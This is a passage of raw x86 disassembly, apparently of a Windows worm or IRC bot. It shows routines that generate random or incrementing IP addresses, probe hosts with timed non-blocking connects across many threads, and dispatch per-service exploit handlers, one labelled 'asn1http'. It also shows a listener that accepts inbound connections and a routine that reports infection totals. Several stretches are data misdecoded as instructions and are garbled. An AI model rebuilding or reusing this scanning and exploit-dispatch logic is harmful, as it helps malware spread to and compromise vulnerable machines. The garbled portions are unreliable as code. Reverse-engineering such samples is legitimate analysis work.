esp, 14h loc_404A65: ; CODE XREF: seg000:00404A40j lea eax, [ebp-780h] push eax call sub_407E0E push dword ptr [ebp-170h] call sub_4102D3 pop ecx pop ecx push ebx call near ptr 3D0000h loc_404A84: ; CODE XREF: seg000:00404A12j aam 8Bh test [eax+6AFFFFFEh], edx adc [ecx-40h], ch xor al, 2 ; --------------------------------------------------------------------------- db 2 dup(0), 53h ; --------------------------------------------------------------------------- mov ds:dword_4358E4[eax], edi lea eax, [ebp-44h] push eax call sub_410590 add esp, 0Ch mov word ptr [ebp-44h], 2 push dword ptr [ebp-168h] call ds:dword_430794 ; ntohs mov [ebp-42h], ax lea eax, [ebp-44h] push 10h push eax push edi mov [ebp-40h], ebx call ds:dword_4307C0 ; bind cmp eax, 0FFFFFFFFh jnz short loc_404AEA push 1388h call ds:dword_41C058 ; Sleep dec dword ptr [ebp-16Ch] push dword ptr [ebp+8] jmp loc_404EAD ; --------------------------------------------------------------------------- loc_404AEA: ; CODE XREF: seg000:00404ACFj lea eax, [ebp-378h] push offset aRb ; "rb" push eax call sub_411B4E pop ecx cmp eax, ebx pop ecx mov [ebp-8], eax jnz short near ptr loc_404B67+1 push 190h call ds:dword_41C058 ; Sleep lea eax, [ebp-378h] push eax lea eax, [ebp-780h] push offset unk_41FF1C push eax call sub_41050B loc_404B27: ; CODE XREF: seg000:loc_404B67j push ebx lea eax, [ebp-780h] push dword ptr [ebp-0E4h] push eax lea eax, [ebp-164h] push eax push dword ptr [ebp-37Ch] call sub_40E367 lea eax, [ebp-780h] push eax call sub_407E0E push dword ptr [ebp-170h] call sub_4102D3 add esp, 28h push ebx call near ptr 3D0000h loc_404B67: ; CODE XREF: seg000:00404B02j jp short loc_404B27 add [edx], al ; --------------------------------------------------------------------------- db 0 dd 8458B00h, 2A09839h, 840F0000h, 2F1h, 0F780BD89h, 80BFFFFFh dd 57000000h, 0FF28858Dh, 5053FFFFh, 5CC45C7h, 0C7000000h dd 1388D045h, 85C70000h, 0FFFFF77Ch, 1, 0B9E3E8h, 0CC48300h dd 50CC458Dh, 7C858D53h, 53FFFFF7h, 15FF5350h, 43077Ch dd 8E0FC085h, 295h, 42F3E8A0h, 88CF8B00h, 0FFFA8085h, 8DC033FFh dd 0FFFA81BDh, 0FC45C7FFh, 10h, 0AB66ABF3h, 0F07D8BAAh dd 50FC458Dh, 50D4458Dh, 28858D53h, 68FFFFFFh, 80h, 15FF5750h dd 43076Ch, 89D875FFh, 15FFF445h, 43081Ch, 0A8458D50h dd 0B8E9E850h, 9D380000h, 0FFFFFF28h, 850F5959h, 21Bh dd 0FF29BD80h, 0F01FFFFh, 15A85h, 8C858D00h, 50FFFFFDh dd 0BF17E8h, 5848D00h, 0FFFFFF2Bh, 8DEC4589h, 0FFFD8C85h dd 1E850FFh, 500000BFh, 0FF2A858Dh, 8D50FFFFh, 0FFFD8C85h dd 1DE850FFh, 830000D2h, 0C08514C4h, 0D3850Fh, 458D0000h dd 0D9E850E4h, 500000BEh, 0FFE4458Dh, 0E850EC75h, 0D1FCh dd 8510C483h, 0B2850FC0h, 53000000h, 0F875FF53h, 0D155E8h dd 0F875FF00h, 0FA84858Dh, 9D88FFFFh, 0FFFFFA80h, 0FA8185C6h dd 5603FFFFh, 8850016Ah, 0FFFA829Dh, 8385C6FFh, 1FFFFFAh dd 0CD71E8h, 1CC48300h, 89D44D8Dh, 0C083F445h, 0FC75FF04h dd 8D505351h, 0FFFA8085h, 0FF5750FFh, 4307F415h, 88858D00h dd 50FFFFFCh, 50A8458Dh, 41FEC868h, 80858D00h, 50FFFFF8h dd 0B7FAE8h, 10C48300h, 0FF209D39h, 2375FFFFh, 80858D53h dd 0FFFFFFF8h, 0FFFF1CB5h, 858D50FFh, 0FFFFFE9Ch, 84B5FF50h dd 0E8FFFFFCh, 962Bh, 8D14C483h, 0FFF88085h, 0C3E850FFh dd 59000030h, 110E9h, 0FC75FF00h, 50D4458Dh, 68136A53h dd 41FEB4h, 0F415FF57h, 8D004307h, 0FFFD8C85h, 458D50FFh dd 858D50A8h, 0FFFFFF28h, 41FE7868h, 88E85000h, 8D0000B7h dd 0FFFF2885h, 7FE850FFh, 83000030h, 0CAE914C4h, 80000000h dd 0FFFF29BDh, 850F04FFh, 0A7h, 0FF2B8D8Ah, 858AFFFFh dd 0FFFFFF2Ah, 88FFF980h, 0FFFA809Dh, 8185C6FFh, 3FFFFFAh dd 0C0FE1275h, 8588C932h, 0FFFFFA82h, 0FA839D88h, 0EEBFFFFh dd 8588C1FEh, 0FFFFFA82h, 0FA838D88h, 0B60FFFFFh, 0C9B60FC0h dd 308E0C1h, 0E0C153C1h, 50C62B09h, 0E8F875FFh, 0D002h dd 8DF875FFh, 0FFFA8485h, 16A56FFh, 0CC38E850h, 0C4830000h dd 8DF88B1Ch, 7D89D445h, 0FC75FFF4h, 4478D50h, 858D5053h dd 0FFFFFA80h, 0F075FF50h, 7F415FFh, 0FB3B0043h, 858D2B75h dd 0FFFFFC88h, 0A8458D50h, 0FE286850h, 0BAE90041h, 0FFFFFFFEh dd 458DFC75h, 6A5350D4h, 0FE1C6809h, 0FF570041h, 4307F415h dd 0F45D3900h, 0FF07D8Bh, 0FFFD008Fh, 15FF57FFh, 430828h dd 0E8F875FFh, 0CB74h, 0FF08758Bh, 0FFFE948Dh, 9E3959FFh dd 2A0h, 0B5FF1375h, 0FFFFFE90h, 0B43AE8h, 0E8535900h dd 0FFFCB160h, 3E86832h, 15FF0000h, 41C058h ; --------------------------------------------------------------------------- push esi loc_404EAD: ; CODE XREF: seg000:00404AE5j call loc_4049C2 pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404EB9 proc near ; CODE XREF: seg000:0040DFF2p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4200BC push eax xor ebx, ebx call sub_41050B cmp ds:dword_41FFE8, ebx pop ecx pop ecx mov edi, 200h jz short loc_404F27 push esi mov esi, offset dword_41FFF0 loc_404EEC: ; CODE XREF: sub_404EB9+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_41050B lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_411ED0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_404EEC pop esi loc_404F27: ; CODE XREF: sub_404EB9+2Bj push ds:dword_45EBC8 call sub_40787D push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41050B lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_411ED0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 lea eax, [ebp+var_200] push eax call sub_407E0E add esp, 38h pop edi pop ebx leave retn sub_404EB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F83 proc near ; CODE XREF: seg000:0040D9A7p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_4101FF test eax, eax pop ecx jle short loc_404FBF mov eax, [ebp+arg_C] push ds:dword_42F3F8[eax*8] call ds:dword_43081C ; inet_ntoa push eax lea eax, [ebp+var_200] push offset unk_420128 push eax call sub_41050B add esp, 0Ch jmp short loc_404FD2 ; --------------------------------------------------------------------------- loc_404FBF: ; CODE XREF: sub_404F83+13j lea eax, [ebp+var_200] push offset unk_4200F4 push eax call sub_41050B pop ecx pop ecx loc_404FD2: ; CODE XREF: sub_404F83+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 lea eax, [ebp+var_200] push eax call sub_407E0E add esp, 18h leave retn sub_404F83 endp ; --------------------------------------------------------------------------- loc_404FFA: ; CODE XREF: sub_40550F+263p push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+138h] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40538A imul eax, 3Ch xor ebx, ebx cmp ds:dword_41FFF4[eax], ebx jz loc_40526B push 4 call sub_4101FF test eax, eax pop ecx jnz loc_40538A mov eax, ds:dword_422FF8 push edi mov edi, offset dword_42FD74 push 104h push edi push ebx mov ds:dword_42FF84, eax mov ds:dword_42FF80, ebx call near ptr 3D0000h ; --------------------------------------------------------------------------- db 0DDh ; --------------------------------------------------------------------------- push 103h mov esi, offset dword_42FE78 push offset byte_423068 push esi call sub_411D00 mov eax, [ebp+118h] add esp, 0Ch cmp [ebp+98h], bl mov ds:dword_42FD70, eax mov eax, [ebp+140h] push 7Fh mov ds:dword_430008, eax jnz short loc_4050AD lea eax, [ebp+18h] push eax push offset dword_42FF88 call sub_411D00 add esp, 0Ch mov ds:dword_43000C, 1 jmp short loc_4050C7 ; --------------------------------------------------------------------------- loc_4050AD: ; CODE XREF: seg000:0040508Ej lea eax, [ebp+98h] push eax push offset dword_42FF88 call sub_411D00 add esp, 0Ch mov ds:dword_43000C, ebx loc_4050C7: ; CODE XREF: seg000:004050ABj push esi push edi push ds:dword_42FF84 lea eax, [ebp-204h] push offset unk_4202D4 push eax call sub_41050B push ebx lea eax, [ebp-204h] push 4 push eax call sub_40FFB7 add esp, 20h mov ds:dword_42FF7C, eax lea eax, [ebp-4] push eax push ebx push offset dword_42FD70 push offset loc_4049C2 push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, ds:dword_42FF7C imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_405136 loc_405124: ; CODE XREF: seg000:00405134j cmp ds:dword_430010, ebx jnz short loc_405151 push 32h call ds:dword_41C058 ; Sleep jmp short loc_405124 ; --------------------------------------------------------------------------- loc_405136: ; CODE XREF: seg000:00405122j call ds:dword_41C068 ; RtlGetLastWin32Error push eax lea eax, [ebp-204h] push offset unk_42028C push eax call sub_41050B add esp, 0Ch loc_405151: ; CODE XREF: seg000:0040512Aj lea eax, [ebp-204h] push eax call sub_407E0E mov edi, offset dword_4303CC mov dword ptr [esp], 104h push edi push ebx mov ds:dword_4305D8, ebx call near ptr 3D0000h dec ebx push 103h mov esi, offset dword_4304D0 push offset byte_423068 push esi call sub_411D00 mov eax, [ebp+118h] add esp, 0Ch cmp [ebp+98h], bl mov ds:dword_4303C8, eax mov eax, [ebp+140h] push 7Fh mov ds:dword_430660, eax jnz short loc_4051CC lea eax, [ebp+18h] push eax push offset dword_4305E0 call sub_411D00 add esp, 0Ch mov ds:dword_430664, 1 jmp short loc_4051E6 ; --------------------------------------------------------------------------- loc_4051CC: ; CODE XREF: seg000:004051ADj lea eax, [ebp+98h] push eax push offset dword_4305E0 call sub_411D00 add esp, 0Ch mov ds:dword_430664, ebx loc_4051E6: ; CODE XREF: seg000:004051CAj push esi push edi push ds:dword_4305DC lea eax, [ebp-204h] push offset dword_420238 push eax call sub_41050B push ebx lea eax, [ebp-204h] push 5 push eax call sub_40FFB7 add esp, 20h mov ds:dword_4305D4, eax lea eax, [ebp-4] push eax push ebx push offset dword_4303C8 push offset sub_40318D push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, ds:dword_4305D4 pop edi imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40525A loc_405244: ; CODE XREF: seg000:00405258j cmp ds:dword_430668, ebx jnz loc_40537D push 32h call ds:dword_41C058 ; Sleep jmp short loc_405244 ; --------------------------------------------------------------------------- loc_40525A: ; CODE XREF: seg000:00405242j call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset dword_4201F4 jmp loc_40536E ; --------------------------------------------------------------------------- loc_40526B: ; CODE XREF: seg000:0040501Fj cmp ds:dword_41FFF8[eax], ebx jz loc_40538A push 3 call sub_4101FF test eax, eax pop ecx jnz loc_40538A mov esi, offset dword_4302A4 push 104h push esi push ebx call near ptr 3D0000h add eax, 0E8565C6Ah pop edi int 0 ; - internal hardware - DIVIDE ERROR ; Automatically called at end of DIV or IDIV operation that results in error ; or overflow. Normally set by DOS to display an error message and abort ; the program. add [ecx+3Bh], bl retn ; --------------------------------------------------------------------------- pop ecx jz short loc_4052A9 mov [eax], bl loc_4052A9: ; CODE XREF: seg000:004052A5j mov eax, ds:dword_422FFC mov ds:dword_4303BC, ebx mov ds:dword_4303A8, eax lea eax, [ebp+18h] push eax push offset dword_43001C call sub_41050B mov eax, [ebp+118h] pop ecx pop ecx mov ds:dword_430018, eax mov ecx, [ebp+140h] push esi push ds:dword_4303A8 mov ds:dword_4303B4, ecx mov ecx, [ebp+144h] push eax mov ds:dword_4303B8, ecx call sub_407435 pop ecx push eax lea eax, [ebp-204h] push offset unk_4201A4 push eax call sub_41050B push ebx lea eax, [ebp-204h] push 3 push eax call sub_40FFB7 add esp, 20h mov ds:dword_4303B0, eax lea eax, [ebp-4] push eax push ebx push offset dword_430018 push offset sub_4038A7 push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, ds:dword_4303B0 imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_405362 loc_405350: ; CODE XREF: seg000:00405360j cmp ds:dword_4303C4, ebx jnz short loc_40537D push 32h call ds:dword_41C058 ; Sleep jmp short loc_405350 ; --------------------------------------------------------------------------- loc_405362: ; CODE XREF: seg000:0040534Ej call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset unk_42015C loc_40536E: ; CODE XREF: seg000:00405266j lea eax, [ebp-204h] push eax call sub_41050B add esp, 0Ch loc_40537D: ; CODE XREF: seg000:0040524Aj ; seg000:00405356j lea eax, [ebp-204h] push eax call sub_407E0E pop ecx loc_40538A: ; CODE XREF: seg000:0040500Ej ; seg000:0040502Fj ... pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40538E proc near ; CODE XREF: sub_40550F:loc_405580p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:42F3F8h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_4105F0 add esp, 0Ch push [ebp+arg_0] call ds:dword_4306D8 ; ntohl inc eax push eax mov [ebp+arg_0], eax call ds:dword_430790 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_4105F0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40538E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053D6 proc near ; CODE XREF: sub_40550F+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_410B60 cmp eax, 0Fh pop ecx jbe short loc_4053FE xor eax, eax jmp short loc_40546F ; --------------------------------------------------------------------------- loc_4053FE: ; CODE XREF: sub_4053D6+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_4118E0 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40542B call sub_410567 mov [ebp+var_C], eax loc_40542B: ; CODE XREF: sub_4053D6+4Bj cmp [ebp+var_8], esi jnz short loc_405438 call sub_410567 mov [ebp+var_8], eax loc_405438: ; CODE XREF: sub_4053D6+58j cmp [ebp+var_4], esi jnz short loc_405445 call sub_410567 mov [ebp+var_4], eax loc_405445: ; CODE XREF: sub_4053D6+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_405451 call sub_410567 loc_405451: ; CODE XREF: sub_4053D6+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov ds:dword_42F3F8[ecx*8], eax loc_40546F: ; CODE XREF: sub_4053D6+26j pop esi leave retn sub_4053D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405472 proc near ; CODE XREF: sub_40550F+B8p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call ds:dword_430810 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40549B xor eax, eax jmp short loc_40550A ; --------------------------------------------------------------------------- loc_40549B: ; CODE XREF: sub_405472+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call ds:dword_430794 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call ds:dword_43082C ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call ds:dword_430740 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call ds:dword_43077C ; select push esi mov edi, eax call ds:dword_430828 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_40550A: ; CODE XREF: sub_405472+27j pop edi pop esi pop ebx leave retn sub_405472 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40550F proc near ; DATA XREF: sub_40550F+34Fo var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_75 = byte ptr -75h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call ds:dword_41C04C ; GetTickCount push eax call sub_41055D mov ebx, esi pop ecx imul ebx, 234h loc_405556: ; CODE XREF: sub_40550F+200j mov eax, ds:dword_4358DC[ebx] cmp ds:dword_42F3FC[eax*8], 0 jz loc_405714 cmp [ebp+var_10], 0 push eax jz short loc_405580 lea eax, [ebp+var_150] push eax call sub_4053D6 pop ecx jmp short loc_405585 ; --------------------------------------------------------------------------- loc_405580: ; CODE XREF: sub_40550F+60j call sub_40538E loc_405585: ; CODE XREF: sub_40550F+6Fj pop ecx mov edi, eax push [ebp+arg_0] push ds:dword_4358DC[ebx] push [ebp+var_3C] push edi call ds:dword_43081C ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_420370 push eax call sub_41050B lea eax, [ebp+var_28C] push eax lea eax, dword_4356D8[ebx] push eax call sub_41050B push [ebp+var_38] push [ebp+var_3C] push edi call sub_405472 add esp, 2Ch cmp eax, 1 jnz loc_405704 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_405659 push offset dword_42FD58 call ds:dword_41C0A0 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call ds:dword_43081C ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_420334 push eax call sub_41050B add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40563B cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40562F lea eax, [ebp+var_140] loc_40562F: ; CODE XREF: sub_40550F+118j push eax push [ebp+var_40] call sub_40E367 add esp, 14h loc_40563B: ; CODE XREF: sub_40550F+FDj lea eax, [ebp+var_28C] push eax call sub_407E0E mov [esp+29Ch+var_29C], offset dword_42FD58 call ds:dword_41C09C ; RtlLeaveCriticalSection jmp loc_405704 ; --------------------------------------------------------------------------- loc_405659: ; CODE XREF: sub_40550F+CDj push edi call ds:dword_43081C ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_41050B mov eax, [ebp+var_20] imul eax, 3Ch add eax, offset aAsn1http_0 ; "asn1http" push eax lea eax, [ebp+var_178] push eax call sub_41050B add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_40569D lea eax, [ebp+var_140] loc_40569D: ; CODE XREF: sub_40550F+186j push eax lea eax, [ebp+var_1F8] push eax call sub_41050B mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call ds:off_41FFEC[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_405704: ; CODE XREF: sub_40550F+C3j ; sub_40550F+145j push 7D0h call ds:dword_41C058 ; Sleep jmp loc_405556 ; --------------------------------------------------------------------------- loc_405714: ; CODE XREF: sub_40550F+55j push esi call sub_4102D3 pop ecx push 0 call near ptr 3D0000h mov [ebp+var_75], dl in al, dx sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call ds:dword_4307D0 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov ds:dword_42F3F8[ecx*8], eax pop ecx mov edi, esp rep movsd call loc_404FFA push 8 call sub_4101FF add esp, 150h cmp eax, ebx jnz short loc_4057F1 mov esi, offset dword_42FD58 push esi call ds:dword_41C0A8 ; RtlDeleteCriticalSection push 80000400h push esi call ds:dword_41C0A4 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_4057F1 lea eax, [ebp+var_1CC] push offset unk_4204B4 push eax call sub_41050B xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_4057DB push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40E367 add esp, 14h loc_4057DB: ; CODE XREF: sub_40550F+2ADj lea eax, [ebp+var_1CC] push eax call sub_407E0E pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_4057F1: ; CODE XREF: sub_40550F+277j ; sub_40550F+293j mov eax, [ebp+var_2C] mov esi, ds:dword_41C058 mov edi, ebx mov ds:dword_42F3FC[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_4058BE loc_40580F: ; CODE XREF: sub_40550F+3A9j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_420468 push eax call sub_41050B push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_40FFB7 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov ds:dword_4358DC[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40550F push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_405889 loc_40587E: ; CODE XREF: sub_40550F+378j cmp [ebp+var_4], ebx jnz short loc_4058B0 push 1Eh call esi ; Sleep jmp short loc_40587E ; --------------------------------------------------------------------------- loc_405889: ; CODE XREF: sub_40550F+36Dj call ds:dword_41C068 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset unk_420418 push eax call sub_41050B lea eax, [ebp+var_1CC] push eax call sub_407E0E add esp, 10h loc_4058B0: ; CODE XREF: sub_40550F+372j push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_40580F loc_4058BE: ; CODE XREF: sub_40550F+2FAj cmp [ebp+var_30], ebx jz near ptr loc_405967+1 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep loc_4058D3: ; CODE XREF: sub_40550F+464j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, ds:dword_42F3F8[eax*8] push eax call ds:dword_43081C ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset unk_4203C0 push eax call sub_41050B add esp, 14h cmp [ebp+var_10], ebx jnz short loc_405921 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40E367 add esp, 14h loc_405921: ; CODE XREF: sub_40550F+3F3j lea eax, [ebp+var_1CC] push eax call sub_407E0E mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov ds:dword_42F3FC[eax*8], ebx call esi ; Sleep push 8 call sub_4101FF cmp eax, 1 pop ecx jnz short loc_405958 push offset dword_42FD58 call ds:dword_41C0A8 ; RtlDeleteCriticalSection loc_405958: ; CODE XREF: sub_40550F+43Cj push [ebp+var_2C] call sub_4102D3 pop ecx push ebx call near ptr 3D0000h loc_405967: ; CODE XREF: sub_40550F+3B2j ; sub_40550F+471j test byte ptr [ebx+3C83D445h], 0C5h cld rep inc edx add [ecx], al jnz loc_4058D3 push 7D0h call esi ; Sleep jmp short near ptr loc_405967+1 sub_40550F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405982 proc near ; DATA XREF: seg000:0040C09Co var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_410590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call ds:dword_430794 ; ntohs push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call ds:dword_430810 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_405AE6 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov ds:dword_4358E4[eax], ebx call ds:dword_4306C0 ; WSAAsyncSelect lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_4307C0 ; bind test eax, eax jnz loc_405AE6 push 0Ah push ebx call ds:dword_4307BC ; listen test eax, eax jnz loc_405AE6 loc_405A2C: ; CODE XREF: sub_405982+BEj ; sub_405982+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call ds:dword_430824 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_405A2C movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call ds:dword_43081C ; inet_ntoa push eax lea eax, [ebp+var_34C] push offset unk_420550 push eax call sub_41050B push edi lea eax, [ebp+var_34C] push 10h push eax call sub_40FFB7 mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov ds:dword_4358DC[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset sub_405B0A push esi push esi call ds:dword_41C06C ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov ds:dword_4358EC[ecx], eax jz short loc_405AD1 loc_405ABE: ; CODE XREF: sub_405982+14Dj cmp [ebp+var_2C], esi jnz loc_405A2C push 32h call ds:dword_41C058 ; Sleep jmp short loc_405ABE ; --------------------------------------------------------------------------- loc_405AD1: ; CODE XREF: sub_405982+13Aj call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset unk_420500 call sub_407E82 pop ecx pop ecx jmp short loc_405AE9 ; --------------------------------------------------------------------------- loc_405AE6: ; CODE XREF: sub_405982+61j ; sub_405982+93j ... mov edi, [ebp+arg_0] loc_405AE9: ; CODE XREF: sub_405982+162j push edi call ds:dword_430828 ; closesocket push ebx call ds:dword_430828 ; closesocket push 